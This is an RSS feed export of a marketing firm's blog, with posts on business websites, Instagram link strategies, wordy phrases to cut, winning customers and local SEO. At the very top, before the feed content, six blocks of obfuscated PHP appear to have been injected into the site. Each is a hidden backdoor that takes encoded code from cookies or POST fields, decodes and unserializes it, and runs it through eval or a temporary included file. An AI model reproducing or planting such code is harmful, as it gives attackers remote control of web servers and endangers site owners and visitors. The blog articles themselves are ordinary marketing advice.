General – CODE Marketing: Blog

$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> General – CODE Marketing: Blog https://blog.codemarketing.com Tue, 31 Mar 2020 12:10:51 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 6 Benefits of Having a Business Website https://blog.codemarketing.com/6-benefits-of-having-a-business-website/ Tue, 31 Mar 2020 12:10:51 +0000 http://blog.codemarketing.com/?p=1403 In this era of globalization where information is easily accessible through the internet, if your business has no website then it is as good as having no identity. For a business, the importance of digital marketing is unquestionable as it is proven to increase revenue. A good way to have digital presence for a company …

The post 6 Benefits of Having a Business Website appeared first on CODE Marketing: Blog.

]]> In this era of globalization where information is easily accessible through the internet, if your business has no website then it is as good as having no identity. For a business, the importance of digital marketing is unquestionable as it is proven to increase revenue.

A good way to have digital presence for a company is to establish a well designed and compelling website. It can serve as a front end to customers and clients. Some companies are even getting their entire profits through their website.

We have broken down for you a list of advantages of having a website below.

Cost Effective

To grow your business, the best way is to cut expenses and focus solely towards the growth. Having an online business can cut the cost of staff, shop rent, tax and utility bill. The cost of running and maintaining a website is merely a few dollars. Proper design and marketing of your website can reach more visitors and ensure the conversion of these visitors into customers.

Accessibility

Your business office is only accessible to a handful of people but your website is available to the whole world 24/7 and 365 days a year. Many companies don’t even have a proper office but their businesses are successful simply because they can reach more people. With advanced transportation, shipment costs are not that much expensive. Many courier companies can now deliver products from one country to another within days. Moreover, having an online presence also provides customers with convenience of reviewing your products and services.

Marketing

The marketing of your website is more cost effective and cheaper than traditional marketing. You can use SEO to promote your website and use various analytics to track engagements and optimize the campaign for better results. You can also build newsletters by publishing information of new products and services to attract your audience. Through email marketing, you can reach out to your clients and offer them discounts and exclusive access that first time customers wouldn’t have.

Convenience & Time Saver

With our busy lifestyles, gone are the days when people go to physical shops and check out products. Instead of going to markets, online shopping is the most convenient way of buying items. Now there are cyber security laws and regulations so people’s confidence in online shopping is increasing. You also don’t have to carry items from your warehouse to store and customers don’t have to spend hours aimlessly looking through racks and shelves for their desired purchase.

Builds Credibility

Having a website will increase your business credibility. When your website appears on the top of Google’s search results or customers leaves good reviews, it creates confidence and brand awareness. Having customers recognize your business as a brand can boost your revenue. Just keep up to date and look professional to continuously improve and maintain your credibility.

Improves Customer Service

With an online presence for your business, you can build FAQ or Knowledge Base pages to tell about each and every aspect of your product to the customer. You can post articles about the benefits of your products. Moreover you can provide a cost effective 24/7 customer service and easily monitor the staffs if they are providing the customers speedy and helpful reply.

The post 6 Benefits of Having a Business Website appeared first on CODE Marketing: Blog.

]]> Ways to Share Links on Instagram https://blog.codemarketing.com/ways-to-share-links-on-instagram/ Mon, 16 Sep 2019 12:00:44 +0000 http://blog.codemarketing.com/?p=1360 Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram? In this article, you’ll find different ways to share links on your Instagram profile and posts. #1: Add a Link to Your Instagram Bio Let’s start with the first and simplest way to place a …

The post Ways to Share Links on Instagram appeared first on CODE Marketing: Blog.

]]> Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram?

In this article, you’ll find different ways to share links on your Instagram profile and posts.

#1: Add a Link to Your Instagram Bio

Let’s start with the first and simplest way to place a link on Instagram. The Instagram bio is the only place where anyone, including private personal accounts, can share a clickable link.

Think of this as your “home” link. While there are other ways to share clickable links (which we’ll discuss in a moment), those routes are targeted for more specific audiences. The link in your bio is there for anyone who happens to visit your profile.

Opinions differ on the best strategy for this link. Some brands link to their mobile website and leave it at that. Others update their bio link regularly, and direct users to the content from their posts.

But there’s a snag with changing the link frequently. How do you manage your old posts? What if someone finds an intriguing post from six months ago, goes to your bio to learn more, and finds a different link?

Instead, I recommend sharing more transient links in your stories. If you want to keep that content available, you can save the stories as permanent highlights with clickable links.

How to add or share a link to Instagram, example 2.

Alternatively, especially if you don’t have access to story links, you can use a link service. In the next section, we’ll look at how to use a single, consistent bio link to share a variety of content through link services.

#2: Use a Link Service to Showoff Multiple Links

When Instagram first became popular with marketers, link services were widely used—then their popularity dipped. Now they’re back with more design capabilities and a smoother user experience.

You can choose from a few different formats. The classic link service looks something like Linktree, where you present followers with a list of clickable buttons. The Workspace For Children uses Linktree to direct users to their latest blog posts, activities, and Amazon shop.

How to add or share a link to Instagram, example 3.

Choose a style and colorway that matches the aesthetic in your Instagram posts and stories. If users click through and find something that looks very different, they’ll lose trust in your brand.

The Good Quote uses a consistent color palette for their Instagram posts and Linktree page.

Alternatively, you can choose a service that looks more like a native Instagram experience. Instead of tapping on text buttons, users are presented with an Insta-style photo grid, as in the example below. When they tap the photo from the post that originally caught their attention, the link service directs them to the relevant page on your website.

How to add or share a link to Instagram, example 5.

Some services, like Later’s Linkin.bio, include video links, photo carousels, and even Shopify integrations.

How to add or share a link to Instagram, example 6.

Just be aware that photo grids like this can be data killers. Check that your chosen link service works on a wide range of mobile devices and that all of the links are functional. In theory, the experience should be seamless.

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

You can’t include clickable links in the captions of normal Instagram photo posts, but that doesn’t mean that post captions are useless! You can still use them to get users’ attention, share extracts from your content, and extend your reach with carefully selected hashtags.

If you want to make the most of your post captions for links on Instagram, I recommend these two strategies.

Share a Short Link

Use a link-shortening service like Bitly so the link is easy for users to copy or remember—bonus points if you customize the link for your brand and content. This approach requires a bit more effort from your followers, so save it for your top content or links where you only want to convert a small, targeted group of people.

Write Crystal-Clear Directions to Live Links

Whether you’re using a link in your bio or in stories, make it obvious. One tactic we use in posts is to share directions to a live link and include a shortened link that people can copy if they choose. In the post below, we directed users to check out our story. Alternatively, they could copy the short link in the post caption to their browser.

How to add or share a link to Instagram, example 7.

#4: Add Swipe-Up Links to Your Instagram Stories

Some brands can include live links in their Instagram stories. Because stories are so ephemeral, they’re a great way to share links to new or time-sensitive content. Think flash sales, limited-time promotions and giveaways, seasonal events, or weekly Q&A sessions with your followers.

Alternatively, you can save stories with swipe-up links in the highlights section on your profile. These stories will stay pinned between your bio and photo grid. Use highlights as a library for evergreen content: essential FAQs, top-selling products, and past events to show new followers what they’ve missed.

Chocolatier Auro keeps highlights on their profile for news stories, community posts, recipe ideas, promotions, events, store locations, and featured products.

Whether you keep an Instagram story forever or let it fade after 24 hours, remember that each story plays for only 15 seconds. Viewers don’t get much time to react, so make the call to action (CTA) crystal clear. Try these ideas:

Emphasize the See More link with the highlighter and pen tools.
Use stickers and GIFs to point to the link, announce a new post, or encourage users to swipe up.
Take a photo or video of someone from your team pointing to the link. In this story from Bicho Vintage, the brand uses an arrow sticker to highlight a shopping link.

There is a caveat here. Story links are tightly controlled by Instagram. You won’t be able to access this feature unless you have over 10,000 followers (which takes time) or a verified account (which is an arcane and almost random process).

Why does Instagram restrict story links like this? Well, presumably because it wants you to prioritize follower counts. But does that really work for your business goals?

For some brands, especially direct-to-consumer brands, a large number of followers is key to success. But in other cases, you might be better off focusing on sales before followers.

Here’s an example of a young brand, Attollo Lingerie, that uses their Instagram story to promote real-world sales and connections. They don’t have access to swipe-up links… but they don’t need them. Instead, they use shared posts, graphics, and clever screenshots to direct users towards links elsewhere.

How to add or share a link to Instagram, example 11.

This is proof that internal links can be useful, too. Post stories that link back to your own posts, profile, and IGTV. You can also link to relevant posts, stories, and profiles from other people. Remember, if you team up on a promotion with an influencer or another brand, you’ve potentially doubled the number of active links at your disposal.

#5: Create Links in Instagram Shoppable Posts and Stories

Shoppable posts are another example of highly specific links. Each shopping tag links to one product only (and it has to be a physical product, sold in one of a select group of countries). Shopping tags are the most targeted conversion possible.

To use shopping tags, start by creating a product catalog on Facebook. Once you have a full range of products uploaded—with shopping links, images, and descriptions—you can start adding shopping tags to your Instagram posts.

How to add or share a link to Instagram, example 12.

You’ll also see a Shopping tab appear on your profile. The Shopping tab appears next to the standard tabs of your profile grid, individual photos, and tagged photos. Clicking this tab shows off your full product catalog.

Items on the Shopping tab appear in a standard photo grid, but users can tap to shop. They can save items just like they save standard posts, or tap to shop immediately.

Instagram Insights allows you to check the engagement on individual shopping posts or compare shopping posts based on metrics like engagement, impressions, or saves. But Instagram shopping doesn’t add attribution to individual product links. So once again, you may want to experiment with adding UTM tags to the links in your product catalog.

Some brands now have access to in-app shopping, where users can pay for their purchases without ever leaving Instagram. And because the beta version is being rolled out to more brands, it seems like initial tests have been successful.

I’m predicting that Instagram will eventually get rid of shopping tags in favor of in-app check out. Why? Because staying in-app gives them more control over data and a potential cut of the profits. Be prepared for further shifts in how customers interact with your products on Instagram.

#6: Pay to Promote Links in Instagram Posts and Stories

With an Instagram business profile, you can pay to promote posts and stories. Not only does this help you segment your audience, but you can also add clickable links to the captions of promoted posts. That’s right: Instagram lets you share links in post captions as long as you pay for them.

Sustainable toothbrush brand The Bam & Boo uses promoted posts to share links to blog posts and products.

How to add or share a link to Instagram, example 15.

The same rules for any ad apply here, too. Make sure your links are absolutely relevant to the post and story in which they appear, because if people click and then bounce, you’ve wasted your ad spend.

Think about the conversion you’re looking for. Are you promoting a shoppable post, educating users about your brand, or drawing them in with interesting content? Different conversions require different designs. Try to find a balance between attractive post design and a glaringly obvious CTA.

#7: Add Links In Instagram Direct Messages

Instagram DMs are an underused feature by many brands. You should be monitoring your inbox daily for message requests, customer service questions, and stories that mention your brand. Respond, reshare, and build customer relationships.

You can start a conversation by reacting to a user’s story or reaching out to offer help. For instance, we make a point of reaching out to first-time users of our platform.

How to add or share a link to Instagram, example 16.

You can also use direct messaging as a more active tool. Because messages on Instagram are private, they’re a more personal form of communication. If you reach out to followers in their DMs, they’ll appreciate you treating them as individuals.

So what kind of messages can you deliver? Let’s take one example: a message to welcome new followers. Of course, you won’t have time to type out a new message every time someone joins your community, so start by setting up quick replies.

To set up quick replies, go to Settings and then Business. Write a message and choose a keyword so you can find the reply you need quickly.

How to add or share a link to Instagram, example 17.

You can share active links in your quick replies and standard messages. So in addition to sharing specific links in response to customer queries, you can also start an automatic lead-nurturing campaign for every new follower.

Try turning new followers into qualified leads by asking for details in their DMs. Offer an incentive, like an introductory discount, so more people will respond.

How to add or share a link to Instagram, example 18.

#8: Share Links in Your IGTV Descriptions

Instagram—and the Facebook family in general—is still obsessed with video content. So as an incentive, the platform offers more link capabilities on IGTV than for video posts on your feed.

You can include clickable links in the description of each IGTV post. To see the description, users have to tap on the arrow icon next to the post title. Because users have to actively expand the description to see any links, make sure you tell them about the link during your IGTV video.

How to add or share a link to Instagram, example 19.

Unlike story links, IGTV links are available to any account, whether or not they’ve reached 10,000 followers. But you need to think about the trade-offs here.

Will your IGTV links be worth the cost of planning and producing original video content? If IGTV posts will cost more than the revenue you derive from those links, you’re better off using other link strategies.

Bonus: Use Action Buttons on Your Instagram Profile

Not all Instagram business profiles have story links, but they do all have access to profile action buttons. You can create instant buttons on your profile for the following actions (and free up character space in your bio in the process):

Call
Text
Email
Directions
Start Order
Book
Reserve

The Ivy in northwest London uses Reserve, Call, and Email Address buttons to convert restaurant customers.

Instagram also offers integrations for a long list of partners, such as Yelp, GrubHub, or EventBrite. You might not think of these buttons as links, but they are. Each one is just tied to a very specific conversion action.

A specific action means a specific audience. Once again, think about your business goals and how your audience behaves. If you aren’t interested in phone calls from customers, or you don’t think they’ll ever contact you by phone, you can remove that button from your profile. Yes, you want a network of links on Instagram but only links that are actually useful.

Note that these buttons are visible only in the mobile app, not on desktop. But then, no one except social media managers uses Instagram on desktop.

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]]> Get Rid of These Phrases and Words From Your Content https://blog.codemarketing.com/get-rid-of-these-phrases-and-words-from-your-content/ Sun, 18 Aug 2019 05:00:16 +0000 http://blog.codemarketing.com/?p=1345 In online writing land, clarity is your best friend. The clearest prose is the type anyone can understand, learn from, and enjoy. Stuffing your sentences and paragraphs with filler and fluff – words and phrases that add zero meaning to what you’re trying to say – is the opposite of clear writing. – It bores …

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]]> In online writing land, clarity is your best friend. The clearest prose is the type anyone can understand, learn from, and enjoy. Stuffing your sentences and paragraphs with filler and fluff – words and phrases that add zero meaning to what you’re trying to say – is the opposite of clear writing.

– It bores your readers.
– It complicates your ideas.
– It waters down your message and makes it less impactful.

Online content needs a lighter touch to succeed. Internet users are notorious for their short attention spans, and most of them aren’t reading in-depth but scanning for meaning.

This list of words and phrases includes common culprits. When/if you use them, check yourself and ask, “What is this word/phrase adding to what I’m trying to say?”

If the answer is “nothing,” cut it.

With that in mind, let’s get to the list:

1. In order to

This is one of the flabbiest phrases I see in writing. People use it, but not one sentence stops working if “in order to” is deleted (or replaced with “to,” which has the same meaning). This one small change makes the statement clearer.

2. Really

“Really” clogs your content. Think of it this way: If you’re saying something is “really” tall, you’re missing the mark. How tall is it? Quantify it. If something has “really” improved, readers want to know how much. Qualify it.
While the purpose of “really” is to exaggerate something, readers respond better to text that gets more granular in its measurements. With that in mind, swap this vague term for a more accurate descriptor. If you can’t be more descriptive, delete “really”.

3. Believe and think

“Believe” and “think” imply something is opinion or indicate doubt in its validity. Both are bad for your copywriting. People are more interested in the facts and hard information than they are in vague thoughts. Even if you’re writing an opinion piece, readers should understand that based on the context, making “I think” a needless phrase. These two words also pop up when a writer isn’t sure about the statistic or fact, and that is dangerous. Again, readers want information, and merely “thinking” a statistic is true isn’t enough to get it past the firing squad. Don’t include a fact if it needs to be qualified as a thought or belief.

4. Always and never

These two aren’t flabby, but they are seldom true. If you say, “Marketers never consider their clients,” you’re horribly off base. Applying an all-inclusive adjective paints with too broad a brush and is reckless. Instead, opt for “few” or “rare” if you need to quantify but don’t have the numbers. The same thing applies to “always.” Instead, opt for words like “most” or “many.”

5. Stuff

“Stuff” is an unprofessional term that harms your content. It’s not descriptive or specific. Instead, define what that “stuff” is. Consider these two headlines: “Stuff You Should Do for a More Successful Blog” or “5 Writing Tricks for a More Successful Blog.” The specificity and clarity of the second headline is more helpful to your readers.

6. Just

The only time “just” has a place in your content is when you’re talking about something being “fair.” For example, “The trial was just.” Uses of “just” to imply something small or inefficient (e.g., “She just couldn’t do it.”) don’t add anything to the sentence. In most cases, you can remove the word “just” without affecting the sentence’s meaning.

7. That

“That” may seem like an inoffensive word, but it’s usually not necessary. For example, “It’s the most delicious cake that I’ve eaten” could easily be “It’s the most delicious cake I’ve eaten.” In similar instances, remove it for more streamlined content.

8. Then

“Then” makes your writing stammer, which is the opposite of what you want. To smooth your text, remove the word “then” whenever the sentence makes sense without it. And don’t start sentences with “then” because it makes them clunky and difficult to read.

9. Literally

People frequently misuse the word “literally.” It means exactly. Whether used correctly or incorrectly, the word often is superfluous. Get rid of it or replace it with something more descriptive and precise.

10. So

“So” is another word that doesn’t do much. Despite this, many people use it, particularly as a transition or explanatory word. Delete it without affecting the sentence’s meaning.

11. Got

“Got” is a lazy word because it doesn’t tell people much about how or why someone got something. Instead, use words that add power such as “obtained” and “earned.”

12. Often

“Often” teases readers by telling them that something happens frequently without being clear. Replace “often” with specific descriptions such as “five times a week” or “every year.”

13. Absolutely

In many cases, you can leave out the word “absolutely” because it’s redundant. For example, “The conclusion she reached was absolutely final.” Final IS final – it can’t go further. Or, “You have absolutely no reason not to try.” Last time I checked, “no” is absolute. It doesn’t need a useless adverb to make it stronger. Consensus: Ditch “absolutely.”

14. Anyway

Want to know the laziest way to change the subject? Use “anyway” as an introductory word. Get rid of it and work on making your transitions sentence to sentence and paragraph to paragraph flow better.

15. Obviously, undoubtedly

If the point you’re making is obvious or indubitable, then why do you use one of those words? You don’t.

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]]> Marketing techniques to boost your customer base https://blog.codemarketing.com/marketing-techniques-to-boost-your-customer-base/ Sun, 02 Jun 2019 08:00:59 +0000 http://blog.codemarketing.com/?p=1185 In today’s day and age getting traffic to one’s business is both difficult and easier than it has ever been. With so many people having access to the internet there is so much outreach and customer targeting potential. But on the other hand, there are also many startups and other major companies competing for customer …

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]]> In today’s day and age getting traffic to one’s business is both difficult and easier than it has ever been. With so many people having access to the internet there is so much outreach and customer targeting potential. But on the other hand, there are also many startups and other major companies competing for customer attention and competition has never been stiffer. And not to mention many global companies trying to make their way into local markets.

Here are some things you can do to beat the competition and reduce the impact of the negatives

Asking for referrals

It can be uncomfortable asking for referrals. Most of the time if your product/service is good and your customers are happy they will be more then happy to do so. Adding incentives also encourage customers to do so.

Let’s say you have a service for which your customers pay a recurrent fee. Asking them to refer people by giving them the next month free could be seen as a good way to gain new customers and also keep the current ones happy.

The key is having a strategy that makes it easy and beneficial for your current customers to refer people they know.
Audience Targeting

Places to find new customers are not unique and it’s a good bet that if you thought of a location to find new customers then its highly likely that your competition did as well. Try looking at other businesses who offer the same products/services as you do and see where they get their customers from. Once you’ve identified where your customer base lies you can move to the next step of creating creative and unique targeting strategies.
Free Stuff

The easiest way to get more people familiar with your business is to offer free and valuable stuff. Offering something for free allows people to familiarize themselves with your business and see what you offer. If they are happy with what you offer you can convert them into a paying customer. One way to offer free stuff is to offer a free trial period if you have a product or service.

If you’re offering a free service you should let people know by posting on your website and on your social media channels. This can help by putting your name out there and expanding the number of people you reach.
A ‘Spam-free’ website

When people visit your website they expect to find information on what makes your company tick. Having a website with several pop-ups, spammy newsletter links and advertisements can hurt the way people look at your business and also it negatively affects the way search engines like google rank your website in search results.

Make sure your website is clean and has relevant information pertaining to your business and your products/services. This will help keep customers on your page longer.
Utilizing existing communities and creating your own

There are many existing online communities like Facebook, Twitter, LinkedIn, Reddit etc. Each of these communities has people or groups that are centred around the topic your business or service is built upon. You should try to be an active member in such communities as they offer a good opportunity to introduce more people to your business and increase traffic.

Posting regularly in these communities will help you understand your customer base, offer advice to others and also build a trust relationship between you and your potential customers. Also interacting with your customers will help you understand what they really look for in the product you’re offering and will help you decide where you should focus your time and resources into, which in time will be good for customer retention.

Apart from the existing communities, you should try creating your own communities by interacting with your customers on your social media pages. Having a newsletter is also helpful as it gives you an opportunity to inform your loyal customers what’s happening in the business and also give them some special treating like discount codes, early access to products etc.
Advertisements

Ad’s in online communities usually have a negative association with them. But if done right they can generate a load of traffic for your business. Ad’s on social communities should be economically balanced, ie the value of the ads should be more than the money invested in them.

A lot of the online social platforms have ways to target specific users with ads and also provide you with the metrics of your ad campaigns so you can make smart decisions with your ad strategies.
Invest in customer experiences

Especially when you’re a new company, take the time to work on how your customers experience your business. You might not see this as something worth investing in but treating your customers properly will turn them into loyal customers and in turn will spread a good message about your company and bring in more people through referrals. This can be done in many ways such as prompt service when the customer is facing difficulties, listening to and answering all their queries.
Listening to your customers

Whether you’re a startup or a global corporation, you still have to understand who your customers and their needs. You should try to understand what are the pain points the customer has with your service and you should try to make informed decisions in the future based on the feedback.No matter how much success you think you are having, understanding your users is always the most important and can help in creating a product that can drive traffic.

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]]> Local SEO for small Businesses. https://blog.codemarketing.com/local-seo-for-small-businesses/ Sun, 10 Feb 2019 03:59:24 +0000 http://blog.codemarketing.com/?p=1168 SEO is one of the leading methods for marketing businesses online. What makes SEO to stand out from other online marketing platforms is the fact that you get to choose where you want to target your market. Meaning, you can target customers globally, regionally or even in your local area. SEO can hugely influence your …

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]]> SEO is one of the leading methods for marketing businesses online. What makes SEO to stand out from other online marketing platforms is the fact that you get to choose where you want to target your market. Meaning, you can target customers globally, regionally or even in your local area. SEO can hugely influence your marketing strategies in your local area by helping you reach out to the right customers and get noticed by these customers.

Impact of local SEO for small businesses.

Increased local traffic.
There is less competition from other businesses when you are marketing your small business on local bases as opposed to the region and globally. This in return helps you to get high changes of exposure to your targeted customers. If a customer is looking for products and services locally and you happen to have them, it would be easy for them to locate you when they look up on the search engines. Make sure to include all the necessary information when setting up your SEO website.

Add your location and other physical details such that if a customer wants to visit your business place, they can use the provided info to get to you. Also, make sure your website is mobile enabled since most customers use their mobile phones when browsing as opposed to other devices like computers.
Creates local brand awareness.
